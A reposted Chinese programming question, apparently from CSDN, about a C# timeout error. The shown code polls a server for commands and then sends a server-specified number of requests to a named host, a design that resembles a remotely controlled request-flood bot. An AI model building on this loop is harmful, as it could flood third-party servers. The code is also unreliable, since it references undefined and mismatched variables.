c# 网页html 操作超时,c# – System.Net.WebException:操作已超时

在尝试发送200个对象时遇到System.Net.WebException超时问题。代码中设置了WebRequest的Timeout为200000毫秒,但仍然出现错误。基础代码能够正常工作,但在项目集成后出现异常。解决方案探索包括调整超时设置和检查代码执行效率。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

我有很大的问题。我需要一次发送200个对象,

这里是我的代码:

while (true)

{

NameValueCollection myNameValueCollection = new NameValueCollection();

myNameValueCollection.Add("mode", nat);

myNameValueCollection.Add("mode", nat);

using (var client = new WebClient())

{

byte[] responseArray = client.UploadValues(serverA, myNameValueCollection);

answer= Encoding.ASCII.GetString(responseArray);

answer= Convert.ToString(answer);

string[] split =

Javab.Split(new[] { '!' }, StringSplitOptions.RemoveEmptyEntries);

string comand = split[0];

string sever= split[1];

string op1 = split[2];

string op2 = split[3];

string op3 = split[4];

switch (comand)

{

case "check":

int ops1 = Convert.ToInt32(op1);

for (int i = 0; i < ops1; )

{

Uri myUri = new Uri(server);

WebRequest myWebRequest = WebRequest.Create(myUri);

myWebRequest.Timeout = 200000;

WebResponse myWebResponse = myWebRequest.GetResponse();

i++;

}

break;

}

}

}

我得到这个错误

Unhandled Exception: System.Net.WebException: The operation has timed out

at System.Net.HttpWebRequest.GetResponse()

at vir_fu.Program.Main(String[] args)

一部分代码,像这样

for (int i = 0; i < ops1; )

{

Uri myUri = new Uri(site);

WebRequest myWebRequest = WebRequest.Create(myUri);

myWebRequest.Timeout = 200;

WebResponse myWebResponse = myWebRequest.GetResponse();

i++;

}

工作在我的基础代码的一边,但是当我添加这个代码在我的项目我得到那个错误,我尝试设置超时= 200;但没有工作。

我能做什么?

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值